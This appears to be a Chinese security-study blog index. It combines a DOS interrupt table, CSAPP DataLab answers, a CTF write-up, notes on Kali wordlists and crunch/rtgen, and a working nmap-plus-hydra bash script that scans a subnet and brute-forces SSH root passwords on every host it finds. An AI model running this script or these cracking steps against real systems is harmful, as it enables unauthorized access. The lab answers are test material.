3F读文件或设备DS:DX=数据缓冲区地址 BX=文件代号 CX=读取的字节数读成功: AX=实际读入的字节数 AX=0 已到文件尾 读出错:AX=错误码 40写文件或设备DS:DX=数据缓冲区地址 BX=文件代号 CX=写入的字节数写成功: AX=实际写入的字节数 写出错:AX=错误码 41删除文件DS:DX=ASCIIZ串地址成功:AX=00 出错:AX=错误码(2,5) 42移动文件指针BX=文件代号 CX:DX=位移量 AL=移动方式(0:从文件头绝对位移,1:从当前位置相对移动,2:从文件尾绝对位移)成功:DX:AX=新文件指针位置 出错:AX=错误码 43置/取文件属性DS:DX=ASCIIZ串地址 AL=0 取文件属性 AL=1 置文件属性 CX=文件属性成功:CX=文件属性 失败:CX=错误码 44设备文件I/O控制BX=文件代号 AL=0 取状态 =1 置状态DX =2 读数据 =3 写数据 =6 取输入状态 =7 取输出状态DX=设备信息 45复制文件代号BX=文件代号1成功:AX=文件代号2 失败:AX=错误码 46人工复制文件代号BX=文件代号1 CX=文件代号2失败:AX=错误码 47取当前目录路径名DL=驱动器号 DS:SI=ASCIIZ串地址(DS:SI)=ASCIIZ串 失败:AX=出错码 48分配内存空间BX=申请内存容量成功:AX=分配内存首地 失败:BX=最大可用内存 49释放内容空间ES=内存起始段地址失败:AX=错误码 4A调整已分配的存储块ES=原内存起始地址 BX=再申请的容量失败:BX=最大可用空间 AX=错误码 4B装配/执行程序DS:DX=ASCIIZ串地址 ES:BX=参数区首地址 AL=0 装入执行 AL=3 装入不执行失败:AX=错误码 4C带返回码结束AL=返回码 4D取返回代码AX=返回代码 4E查找第一个匹配文件DS:DX=ASCIIZ串地址 CX=属性AX=出错代码(02,18) 4F查找下一个匹配文件DS:DX=ASCIIZ串地址 (文件名中带有?或*)AX=出错代码(18) 54取盘自动读写标志AL=当前标志值 56文件改名DS:DX=ASCIIZ串(旧) ES:DI=ASCIIZ串(新)AX=出错码(03,05,17) 57置/取文件日期和时间BX=文件代号 AL=0 读取 AL=1 设置(DX:CX)DX:CX=日期和时间 失败:AX=错误码 58取/置分配策略码AL=0 取码 AL=1 置码(BX)成功:AX=策略码 失败:AX=错误码 59取扩充错误码AX=扩充错误码 BH=错误类型 BL=建议的操作 CH=错误场所 5A建立临时文件CX=文件属性 DS:DX=ASCIIZ串地址成功:AX=文件代号 失败:AX=错误码 5B建立新文件CX=文件属性 DS:DX=ASCIIZ串地址成功:AX=文件代号 失败:AX=错误码 5C控制文件存取AL=00封锁 =01开启 BX=文件代号 CX:DX=文件位移 SI:DI=文件长度失败:AX=错误码 62取程序段前缀BX=PSP地址

2022/7/2
articleCard.readMore

CSAPP_Lab之DataLab

前言 出于记录📝和复习的需要,整理了下本人在做CSAPP深入理解计算机系统这本书的配套实验之Data Lab的内容 [Updated 12/16/19] (README, Writeup, Release Notes, Self-Study Handout) 关于CSAPP配套实验更多内容或配套文件等,请访问CSAPP_Lab 介绍 这个Lab主要涉及了位运算,补码和浮点数等内容。完成Lab不仅要实现函数的功能,还要求仅用规定的操作符,操作符数目也在限定范围内,详细可以看我部分翻译的README文件. 由于题目限定在32位系统中,本人系统为ARM架构,故测试程序在本人docker x86_64的linux环境中运行. 通过make clean && make && ./btest命令可以看到题目的分数. 题目 部分汉化:点我下载bits.c题目文件 bitXor(x,y) 只使用 ~ 和 & 实现 ^ tmin() 返回最小补码 isTmax(x) 判断是否是补码最大值 allOddBits(x) 判断补码所有奇数位是否都是1 negate(x) 不使用负号 - 实现 -x isAsciiDigit(x) 判断 x 是否是 ASCII 码 conditional(x, y, z) 类似于 C 语言中的 x?y:z isLessOrEqual(x,y) x<=y logicalNeg(x) 计算 !x (不用 ! 运算符) howManyBits(x) 计算表达 x 所需的最少位数 floatScale2(uf) 计算 2.0*uf floatFloat2Int(uf) 计算 (int) f floatPower2(x) 计算 2.0的x次方 bitXor(x, y) 题目说明:使用按位与&和按位取反~实现异或运算^。 异或运算的定义如下: a⊕b=(¬a∧b)∨(a∧¬b)a⊕b=(¬a∧b)∨(a∧¬b) 根据分配律和德摩根定律,可以推出: a⊕b =(¬a∧b)∨(a∧¬b)=(¬a∨(a∧¬b))∧(b∨(a∧¬b)) =(¬a∨¬b)∧(a∨b)=¬(¬a∧¬b)∧¬(a∧b)a⊕b =(¬a∧b)∨(a∧¬b)=(¬a∨(a∧¬b))∧(b∨(a∧¬b)) =(¬a∨¬b)∧(a∨b)=¬(¬a∧¬b)∧¬(a∧b) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 //1 /* * bitXor - x^y using only ~ and & * Example: bitXor(4, 5) = 1 * Legal ops: ~ & * Max ops: 14 * Rating: 1 */ int bitXor(int x, int y) { return ~(~x & ~y) & ~(x & y); } /*根据布尔代数,可以通过 ~ 和 & ,即非和与操作实现异或操作。所谓异或就是当参与运算的两个二进制数不同时结果才为1 * 其他情况为0。C 语言中的位操作对基本类型变量进行运算就是对类型中的每一位进行位操作 * 所以结果可以使用“非”和“与”计算不是同时为0情况和不是同时为1的情况进行位与,即~(~x&~y)&~(x&y)*/ tmin 1 2 3 4 5 6 7 8 9 10 11 /* 返回最小的二进制补码整数 * tmin - return minimum two's complement integer * Legal ops: ! ~ & ^ | + << >> * Max ops: 4 * Rating: 1 */ int tmin(void) { return 0x1 << 31; } isTmax(x) 1 2 3 4 5 6 7 8 9 10 11 12 13 //2 /* 如果是补码最大值返回1 * isTmax - returns 1 if x is the maximum, two's complement number, * and 0 otherwise * Legal ops: ! ~ & ^ | + * Max ops: 10 * Rating: 1 */ int isTmax(int x) { return !(((x ^ (x + 0x1)) + 0x1) | (!(~x))); // 只有当x为-1即0xFFFFFFFF时,~x为0,此时(x ^ (x + 0x1)) + 0x1为0,与!(~x)相与得1,再用逻辑非运算符得到1。 // 当x为0x7FFFFFFF时,~x为1,(x ^ (x + 0x1)) + 0x1为0。 } allOddBits(x) 1 2 3 4 5 6 7 8 9 10 11 12 /* 如果所有奇数位为1则返回1 * allOddBits - return 1 if all odd-numbered bits in word set to 1 * where bits are numbered from 0 (least significant) to 31 (most significant) * Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1 * Legal ops: ! ~ & ^ | + << >> * Max ops: 12 * Rating: 2 */ int allOddBits(int x) { return !((0xAAAAAAAA & x) ^ 0xAAAAAAAA); // 0xAAAAAAAA的奇数位为1 } negate(x) 1 2 3 4 5 6 7 8 9 10 /* * negate - return -x * Example: negate(1) = -1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 5 * Rating: 2 */ int negate(int x) { return ~x + 1; } isAsciiDigit(x) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //3 /* 如果0x30 <= x <= 0x39(字符'0'到'9'的ASCII码)则返回1 * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9') * Example: isAsciiDigit(0x35) = 1. * isAsciiDigit(0x3a) = 0. * isAsciiDigit(0x05) = 0. * Legal ops: ! ~ & ^ | + << >> * Max ops: 15 * Rating: 3 */ int isAsciiDigit(int x) { return !((x ^ 0x30) >> 3) | !((x ^ 0x39) >> 1); // 0x30 : 110000 // 0x39 : 111001 } conditional(x, y, z) 1 2 3 4 5 6 7 8 9 10 11 /* 实现三目运算符 * conditional - same as x ? y : z * Example: conditional(2,4,5) = 4 * Legal ops: ! ~ & ^ | + << >> * Max ops: 16 * Rating: 3 */ int conditional(int x, int y, int z) { x = ~(!!x) + 1; return (x & y) | (~x & z); } isLessOrEqual(x, y) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 /* 如果x <= y返回1 * isLessOrEqual - if x <= y then return 1, else return 0 * Example: isLessOrEqual(4,5) = 1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 24 * Rating: 3 */ int isLessOrEqual(int x, int y) { int sign = (y + ~x + 1) >> 31; // 判断y-x符号,在x,y符号都相同的情况下,如果y-x符号为负即结果为1,那么返回0 int bitXor = (x >> 31) ^ (y >> 31); // 判断x和y符号是否相同,相同则为0 return !!(((!sign) & (!bitXor)) | (bitXor & (x >> 31))); // 在符号相同的情况下,只需关注y-x的符号不为负即可。 // 在符号不相同的情况下,只需关注x为负返回1的情况。 } logicalNeg(x) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 //4 /* 使用使用位级运算实现逻辑非 ! * logicalNeg - implement the ! operator, using all of * the legal operators except ! * Examples: logicalNeg(3) = 0, logicalNeg(0) = 1 * Legal ops: ~ & ^ | + << >> * Max ops: 12 * Rating: 4 */ int logicalNeg(int x) { return ((x|(~x+1))>>31)+1; // 如果x为非0数,那么(x|(~x+1))为0x80000000,右移31位为0xFFFFFFFF,加上0x1,为0 // 如果x为0,那么0+0x1就是1 } howManyBits(x) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 /* 返回用补码表示x所需的最小比特数 * 即一个数用补码表示最少需要几位? * howManyBits - return the minimum number of bits required to represent x in * two's complement * Examples: howManyBits(12) = 5 * howManyBits(298) = 10 * howManyBits(-5) = 4 * howManyBits(0) = 1 * howManyBits(-1) = 1 * howManyBits(0x80000000) = 32 * Legal ops: ! ~ & ^ | + << >> * Max ops: 90 * Rating: 4 */ int howManyBits(int x) { // 本主要采用二分法 int b16, b8, b4, b2, b1, b0; int sign = x >> 31; // x的符号 x = (sign & ~x) | (~sign & x); // 若为负数,则按位取反;若为非负数,则不变 b16 = !!(x >> 16) << 4;// 先看高16位是否含有1,若有则表示至少需要16位,所以给b16赋值为16(1 << 4 = 16) x = x >> b16; // 若有1,则原数右移16位,因为上面已经确定是否至少需要16位(针对0~15);若没有1,则b16为0,x不用移位,继续往下面判断 b8 = !!(x >> 8) << 3; // 看剩余位的高8位是否含有1,若有则表示至少还需要8位,给b8赋值为8 x = x >> b8; // 同理... b4 = !!(x >> 4) << 2; x = x >> b4; b2 = !!(x >> 2) << 1; x = x >> b2; b1 = !!(x >> 1); x = x >> b1; b0 = x; return b16 + b8 + b4 + b2 + b1 + b0 + 0x1; // 最后加上符号位 } floatScale2(x) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 //float /* 返回 2 * 浮点数 * floatScale2 - Return bit-level equivalent of expression 2*f for * floating point argument f. * 参数和结果都是以无符号int的形式传递,但它们应被解释为单精度浮点值的位级表示. * 当参数为NaN时,返回参数 * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */ unsigned floatScale2(unsigned uf) { int exp = (uf & 0x7F800000) >> 23; // 取出阶码 int sign = uf & 0x80000000; // 取符号位 if (exp == 0) return uf << 1 | sign; // 若为非规格数,直接给uf乘以2后加上符号位即可 if (exp == 255) return uf; // 若为无穷大或者NaN,直接返回自身 exp = exp + 1; // 若uf乘以2(也就是阶码加1)后变成255,则返回无穷大 if (exp == 255) return (0x7F800000 | sign); return (exp << 23) | (uf & 0x807FFFFF); // 返回阶码加1后的原符号数 // 浮点数有几种特殊情况: // 1.若exp部分全为0(exp = 0),则是非规格化数,它是一种非常接近0的数; // 2.若exp部分全为1(exp = 255),当小数部分全为0时,表示无穷大;当小数部分不为全0时,表示未初始化数据NaN; // 3.以上两种情况以外,就是规格化数。 // 所以我们需要判断uf是哪一种浮点数,并根据它的类型来进行相应的操作 } floatFloat2Int(x) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 /* 将浮点数转换为整数 * floatFloat2Int - Return bit-level equivalent of expression (int) f * for floating point argument f. * 参数以无符号int形式传递,但它应被解释为单精度浮点值的位级表示. * 任何超出范围的东西(包括NaN和无穷大)都应该返回0x80000000u. * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */ int floatFloat2Int(unsigned uf) { int exp = ((uf & 0x7F800000) >> 23) - 127; // 计算出指数E int sign = uf & 0x80000000; // 取符号位S int frac = ((uf & 0x007FFFFF) | 0x00800000); // 如果为规格化的值,尾数M = 1 + 小数位f if (exp > 30) // 因为int类型最大值2^31,2^31乘以大于1的数必然大于2^31. return 0x80000000; // 若原浮点数指数大于31,返回溢出值 if (exp < 0) return 0; // 若浮点数小于0,则返回0 if (exp > 8) frac = frac << 8 >> 23; // 如果exp > 8,<< 超过8的话会丢失数据. else frac = frac << exp >> 23; // 将小数转化为整数,<< exp 等于 乘以2^exp ,然后再右移23位. if (!sign) return frac; // 正数 else return ~frac + 1; // 负数 } floatPower2(x) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /* 返回2.0^x * floatPower2 - Return bit-level equivalent of the expression 2.0^x * (2.0 raised to the power x) for any 32-bit integer x. * * 返回的无符号值应该具有与单精度浮点数2.0^x相同的位表示。 * 如果结果太小,不能以正负值表示,则返回 0. 如果太大,则返回+INF. * * Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while * Max ops: 30 * Rating: 4 */ unsigned floatPower2(int x) { int INF = 0xFF << 23; // 设定一个最大值,也就是阶码位置都为1 即 0x7F800000 int exp = x + 127; // 计算阶码e if (exp <= 0) return 0; // 阶码小于等于0,则返回0 if (exp >= 255) return INF; // 阶码大于等于255,则返回INF return exp << 23; // exp向左移,回到标准浮点数的位置 }

2022/7/1
articleCard.readMore

国赛2022 WP

前言 记录📝一些自己复现的过程吧. 第15届全国大学生知识竞赛 比赛时间:5.29 11:00 - 5.29 19:00 比赛网址: https://ctf.ichunqiu.com/topic/2022dxs misc everlasting_night everlasting_night.zip 照片文件尾多出了这个. FB 3E FC E4 CE AC 2F 54 45 C7 AE 17 E3 E9 69 AB 用md5解密看看,得到ohhWh04m1 通过stegsolve照片隐写工具 发现alpha plane2通道有隐藏数据 查看数据为f78dcd383f1b574b 通过lsb隐写分离(工具🔧)之后用exiftool查看得知文件为zip压缩包(看文件📃头也可以) 查看压缩包内容,如何检查压缩包是否有错误,没错误就解压带上密码参数-P ohhWh04m1 查看文件类型,发现是PNG. 于是就先用pngcheck工具检查一下. 果然发现错误:invalid IHDR image dimensions (0x0) 我们知道是IHDR块存在问题,所以先去看看文件的十六进制转储 (Hex dump) 通过xxd命令并通过管道将其输入head,就一目了然了(通过010看也可以,这里方便演示) 现在,我们来分解一下信息. 89 50 4e 47 0d 0a 1a 0a:这可以识别为文件签名(文件头),这是 UNIX 系统用来识别文件类型的. 00 00 00 0d:这是我们的 IHDR 长度. 49 48 44 52:这是我们的块类型,在这种情况下指定 IHDR. 00 00 00 00: 这是我们的宽度,显然这是无效的. 00 00 00 00: 这是我们的身高,显然这也是无效的. 08: 这是我们的位深度. 06: 这是我们的颜色类型 00: 这是我们的压缩类型. 00:这是我们的过滤器类型. 00: 这是我们的区间类型. 00 00 00 00: 这是我们的 CRC 校验和,显然它也是无效的. 现在我们还知道了 图像尺寸 以及 CRC 校验和 无效. 关于CRC 校验和有疑问?那我简单介绍一下吧. CRC 校验和是基于块数据计算的,如果 IHDR 块有效,那么它的 CRC 校验和 将匹配 hexdump 中提供的CRC. 既然CRC 校验和无效,那么我们不能通过暴力破解 IHDR 块中可能的图像尺寸来修复损坏的 png 图像 观察后面的数据,我们可以将51之后的数据另存后缀为data的文件,用gimp打开. 调整宽度为352,即可得到我们的flag. flag{607f41da-e849-4c0b-8867-1b3c74536cc4} ez_usb ez_usb.zip 用Wireshark打开,发现存在键盘流量. 图中显示的HID Data就是我们的键盘输入数据. 我们先看看Source为2.8.1这个键盘数据. 通过命令1⃣️tshark -r usb.pcapng -Y "usb.src == \"2.8.1\"" -T fields -e usbhid.data | sed '/^\s*$/d' > usbdata.txt 或者2⃣️ tshark -r usb.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > usbdata.txt (若显示的是 Leftover Capture Data,则用命令tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt#提取并去除空行) 注:-Y “usb.src == "2.8.1"“ 是过滤source为2.8.1的数据包 -T fields -e usbhid.data 是提取usbhid.data字段 -e usb.capdata 是提取usb.capdata字段 命令1⃣️可以过滤出Source为2.8.1的键盘输入数据.导出为usbdata.txt这个文件. 命令2⃣️则是将所有键盘输入数据导出来. 然后使用此脚本USB键盘流量.py. (注:pythonT是我的一个虚拟python的替换,你们用python即可) 显然,output中前面一串是rar文件头,并发现有密码,先将它们dump到本地. 再看看Source为2.10.1这个键盘数据. 上述过程同理.得到 35c535765e50074a 根据测试这个是压缩包的密码. 从而得到 flag{20de17cc-d2c1-4b61-bebd-41159ed7172d} 不过除了这2个键盘流量,我还发现另外一个. 但可惜的是,什么信息都没有. Crypto 签到电台 题目内容:豪密,是中国共产党和中国工农红军第一本无线电通讯密码的简称,由周恩来同志亲自编制,以周恩来党内化名“伍豪”命名,它是我党建立机要工作最早也是保密性能最强的一种密码,从二十世纪三十年代到全国解放,都始终未被破译。春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析,并参考已有的文献资料,仿制豪密的加密方法,制作成一道题目,谨以此题致敬情报战线的先辈们。 请点击“下发赛题”,让我们一起穿越百年,追寻红色通信足迹。(关注“春秋伽玛”公众号,回复“签到电台”获取解题提示) 在“标准电码表”找“弼时安全到达了”所对应的7个电码,再跟“密码本”的前7*4个数字分别逐位进行“模十算法”(加不进位、减不借位),所得到的就是要发送的电码。 发送电码前先发送“s”启动,即按3个“.”,这个发送电报的过程可以使用抓包软件进行抓取,可方便输入电报。 (如果您还需要进一步的提示,可在本公众号输入“豪密剖析”获取。) “弼时安全到达了”所对应的7个电码: 1732 2514 1344 0356 0451 6671 0055 28=7*4 模十算法示例:1732与6378得到7000 发包示例:/send?msg=s 你的任务 现在你拥有了一台模拟电报机,如果以标准电码表为底本,并结合给出的密码本,请使用该电报机通过豪密的加密方法与总部通讯,发送消息为“弼时安全到达了”。 通过以下脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests as req sess = req.session() sess.get("http://???.cloudeci1.ichunqiu.com:8888/") secret = sess.get("http://???.cloudeci1.ichunqiu.com:8888/secret").text print(secret) ans = "" a = secret[:28] #"密码本的数字,纯数字模式"[:28] b = "1732251413440356045166710055" for i in range(28): v = (int(a[i]) + int(b[i])) % 10 ans += str(v) print(ans) sess.get("http://???.cloudeci1.ichunqiu.com:8888/send?msg=s") flag = sess.get("http://???.cloudeci1.ichunqiu.com:8888/send?msg={ans}").text print(flag) 即可得到flag 基于挑战码的双向认证 1 && 2 说明文档:预赛可信计算赛题-双向认证挑战模式.docx 本题含有两个flag,请点击“下发赛题”,本题容器下发后的端口是ssh端口,ssh的账号密码均为:player;ssh登录上去可自行修改密码。请参考说明文档,获取flag,并在本题提交第一个获取到的flag。 通过find /| grep flag查找. 由于服务器上文件读取权限设置不当(755) 可以直接进入root目录下找到 cube-shell/instance/flag_server 下的 flag1.txt 和 flag2.txt 基于挑战码的双向认证 3 由于给出的服务器上,root用户使用了弱密码. 爆破root密码为toor,登录后找到flag在/root/cube-shell/instance/flag-server/flag2.txt 由于能力有限,暂写这么多吧.

2022/6/2
articleCard.readMore

浅记📝SSH等协议密码爆破大致过程

前言 仅供学习,作为本人笔记📒使用.本文使用的工具可能有但不限于namp,hydra等.对于工具🔧的使用,本文只是简单使用,关于更纤细更高级的用法请移步去Google或参考文档等. 场景:对接入网络中存在的IP地址进行批量的扫描和SSH登录爆破. 思路:首先,我们需要用namp扫描当前网段下存在的主机列表并探测对方主机的22端口是否开启. ​若开启,则尝试使用hydra进行SSH密码爆破. 思路有了,我们可以用shell脚本将它们结合起来. 扫描 命令: 1 nmap -vv -n –sS -sU -p22 -iL ./iplist.txt | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt 含义:扫描iplist.txt文件中的IP地址是否开启22端口. 若开启,则将这个结果输出到ip_output.txt文件中. 如果没有iplist.txt 命令可以这样写: 1 nmap -vv -n –sS -sU -p22 192.168.1.0/24 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt 这是对一个网段的扫描,也可以换成一个IP.-sS和-sU都是扫描策略的选项,两个一起使用,可以提高扫描的可靠性。 在实际测试过程中(内网环境),nmap还是存在漏扫的情况. 关于nmap扫描更详细🔎更准确欢迎看这篇文章 第二步为,读取ip_output.txt文件中开放22端口的主机,使用hydra工具进行密码爆破,使用的命令如下: 1 hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:" 这条命令的含义是采用密码本./password.txt中的密码,对IP地址为:192.168.0.12的主机进行密码破解。grep “host:”用来过滤打印的输出,只输出破解到密码的条目。由于hydra一次只能对一个IP进行破解,因此,在shell中写了一个循环,hydra一次任务结束后,立即进行下一个IP的破解,直到将ip_output.txt文件中IP遍历完为止。代码如下所示。 1 2 3 4 5 cat ./ip_output.txt | while read line do echo "Current Task: ${line}" hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:" done 遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #!/bin/bash if [ $# -lt 4 ] then echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt" echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24" exit 1 fi while [ -n "$1" ] do case "$1" in -p) passfile=$2 #echo $passfile shift ;; -f) nmap -vv -n -sS -sU -p22 -iL $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt shift ;; -l) nmap -vv -n -sS -sU -p22 $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt shift ;; *) echo "$1 is not an option" echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt" echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24" exit 1 ;; esac shift done echo "-----------port scan finished-----------" chmod 666 ./ip_output.txt #echo `cat ./ip_output.txt` cat ./ip_output.txt | while read line do echo "Current Task: ${line}" hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:" done echo "-------password guessing finished-------" 这个程序做了一些参数传递的判断,核心代码行十分精简。在使用程序之前,需得在主机上安装nmap和hydra,Ubuntu,Kali等Linux下可以使用包管理器例如apt来进行安装. 当然,能否破解成功,除了需要一个强力工具🔧,还得有个高效的密码本. 这里推荐一个项目,其中有很多好用的密码本.当然Kali自带的密码本也不错.Kali通过命令apt -y install seclists即可安装Seclists工具🔧 这里再分享一下3个基础密码本 password-100.txt password-1000.txt password-10k.txt 总结 通过上文的简单说明流程,可以轻松改造成对任意hydra支持的服务的批量口令爆破(包括但不限于:SSH,FTP,telnet,SMTP,POP3,MySQL). 关于hydra的更多介绍,本文不再展开.如果想进行http(s)的破解,请用burpsuit进行破解. 除了hydra(九头蛇)工具外,也有其他爆破工具🔧,例如medusa(美杜莎)等等 先写这么点吧,以后有机会再补充内容或更新.

2022/5/21
articleCard.readMore

Kali自带字典及生成密码字典等笔记📒

前言 本文主要记录📝与密码攻击相关内容 自带字典 路径: /usr/share/wordlists/ dirb目录 big.txt #大的字典 small.txt #小的字典 catala.txt #项目配置字典 common.txt #公共字典 euskera.txt #数据目录字典 extensions_common.txt #常用文件扩展名字典 indexes.txt #首页字典 mutations_common.txt #备份扩展名 spanish.txt #方法名或库目录 others #扩展目录,默认用户名等 stress #压力测试 vulns #漏洞测试 dirbuster目录 apache-user-enum-** #apache用户枚举 directories.jbrofuzz #目录枚举 directory-list-1.0.txt #目录列表大,中,小 big,medium,small fern-wifi目录 common.txt #公共wifi账户密码 metasploit目录 #各种类型的字典 wfuzz目录 #模糊测试,各种字典… webslayer目录(需手动安装webslayer) general #普通字典目录 admin-panels.txt #后台路径 字典 Injections #注入字典目录 All_attack.txt #全部攻击 bad_chars.txt #字符注入 SQL.txt #sql注入 Traversal.txt #路径回溯 XML.txt #xml注入 XSS.txt #xxs注入 others #扩展目录 common_pass.txt #通用密码字典 names.txt #用户名字典 stress #压力测试目录 vulns #漏洞测试目录 apache、iis、cgis… webservicces #web服务目录 ws-dirs.txt #路径测试 ws-files.txt #文件测试 密码攻击 创建密码字典 密码字典主要是配合密码破解软件所使用,密码字典里包括许多人们习惯性设置的密码。这样可以提高密码破解软件的密码破解成功率和命中率,缩短密码破解的时间。当然,如果一个人密码设置没有规律或很复杂,未包含在密码字典里,这个字典就没有用了,甚至会延长密码破解所需要的时间。在Linux中有Crunch和rtgen两个工具,可以来创建密码字典. Crunch工具 Crunch是一种创建密码字典工具,该字典通常用于暴力破解。使用Crunch工具生成的密码可以发送到终端、文件或另一个程序. 查看crunch版本和用法 终端输入crunch 从图中,我们可以知道使用crunch命令生成密码的语法格式如下所示: 1 crunch <minimum length> <maximum length> [character set] [options] crunch命令常用的选项如下所示. -o:用于指定输出字典文件的位置。 -b:指定写入文件最大的字节数。该大小可以指定KB、MB或GB,但是必须与-o START选项一起使用。 -t:设置使用的特殊格式。 -l:该选项用于当-t选项指定@、%或^时,用来识别占位符的一些字符。 例子: 创建一个密码列表文件,并保存在桌面.其中,生成密码列表的最小长度为8,最大长度为10,并使用ABCDEFGabcdefg0123456789为字符集. 1 crunch 8 10 ABCDEFGabcdefg0123456789 -o /home/lanyun/桌面/ 由图可知,crunch将会创建 691266960 MB 675065 GB 659 TB 这么大的字典,由于硬盘空间不足,故生成到6.3GB时就被我终止了. 我们将这个字典文件📃打开,双击使用Nano打开或用命令 Nano加文件📃路径 方式打开. 由于本人Kali虚拟机内存有限,故采用gedit应用打开. 如图就是我们用crunch命令生成的密码. 更多关于如何使用crunch的说明和例子,请参考man页。 rtgen工具 rtgen工具用来生成彩虹表。彩虹表是一个庞大的和针对各种可能的字母组合预先计算好的哈希值的集合。彩虹表不一定是针对MD5算法的,各种算法都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。 接下来我们用rtgen工具生成彩虹表作为示例. 由于通过apt install rainbowcrack安装Rainbowcrack失败,故把项目克隆到/usr/share/目录下. md,结果不是ARM架构的二进制文件📃,跑不起来,草,所以后面的演示不了了. 切换到rainbowcrack目录 1 cd /usr/share/rainbowcrack/ 使用rtgen命令生成一个基于MD5的彩虹表 1 ./rtgen md5 loweralpha-numeric 1 5 0 3800 33554432 0 回显 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 rainbow table md5_loweralpha-numeric#1-5_0_3800x33554432_0.rt parameters hash algorithm: md5 hash length: 16 charset: abcdefghijklmnopqrstuvwxyz0123456789 charset in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 charset length: 36 plaintext length range: 1 - 5 reduce offset: 0x00000000 plaintext total: 62193780 sequential starting point begin from 0 (0x0000000000000000) generating… 131072 of 33554432 rainbow chains generated (0 m 42.5 s) 262144 of 33554432 rainbow chains generated (0 m 39.2 s) 393216 of 33554432 rainbow chains generated (0 m 41.6 s) 524288 of 33554432 rainbow chains generated (0 m 42.0 s) 655360 of 33554432 rainbow chains generated (0 m 39.1 s) 786432 of 33554432 rainbow chains generated (0 m 40.1 s) 917504 of 33554432 rainbow chains generated (0 m 39.9 s) 1048576 of 33554432 rainbow chains generated (0 m 38.8 s) 1179648 of 33554432 rainbow chains generated (0 m 39.2 s) 1310720 of 33554432 rainbow chains generated (0 m 38.2 s) ..... 33161216 of 33554432 rainbow chains generated (0 m 40.2 s) 33292288 of 33554432 rainbow chains generated (0 m 38.9 s) 33423360 of 33554432 rainbow chains generated (0 m 38.1 s) 33554432 of 33554432 rainbow chains generated (0 m 39.1 s) 以上信息显示了彩虹表的参数及生成过程。例如,生成的彩虹表文件名为md5_loweralpha-numeric#1-5_0_3800x33554432_0.rt;该表使用MD5散列算法加密的;使用的字符集abcdefghijklmnopqrstuvwxyz0123456789等。 (3)为了容易使用生成的彩虹表,使用rtsort命令对该表进行排序。执行命令如下 所示: 1 2 3 4 5 6 7 /usr/share/rainbowcrack# rtsort md5_loweralpha-numeric#1-5_0_ 3800x33554432_0.rt md5_loweralpha-numeric#1-5_0_3800x33554432_0.rt: 1351471104 bytes memory available loading rainbow table… sorting rainbow table by end point… writing sorted rainbow table… 输出以上信息表示生成的彩虹表已成功进行排序。 先水一部分吧,后面如果有空继续水

2022/5/20
articleCard.readMore

关于Shell的一些笔记📒

前言 本文主要记录📝平时学到关于Shell的一些知识,方便复习. 知识 如何在脚本中获取进程ID(PID)? 在运行Shell脚本时,主shell并不会去运行,而是创建一个子Shell进程去运行我们的Shell脚本. 子shell将shell脚本中的命令作为批处理运行(因此称为“批处理进程”) 在某些情况下,我们需要知道运行中子shell的进程ID(PID). 那么PID可以用来做什么呢? PID信息可以用来在/tmp下创建一个唯一的临时文件 有时脚本需要检测所有运行的进程,PID可以从进程列表中排除自身的子shell 等等 在bash中,子shell进程的PID存储在一个特殊的变量‘$$’中。这个变量只读,你不可以在脚本中修改它. 1 echo "PID of this script: $$" 除了$$, bash shell还会导出其他的只读变量。比如,PPID存储子shell父进程的ID(也就是主shell)。UID存储了执行这个脚本的当前用户ID。比如: 1 2 3 4 5 #!/bin/bash echo "PID of this script: $$" echo "PPID of this script: $PPID" echo "UID of this script: $UID" 上面输出中,PID每次执行都会变化。这个因为每次运行都会创建一个新的shell. 而对于PPID来说,只要主shell没有变更,那么PPID也不会变更. 那么PID和PPID有什么区别吗,它们分别是什么? 讲这个之前,先来浅说一下程序和进程分别是什么. 程序:程序是静止的,程序就是存储在磁盘上的可执行文件. 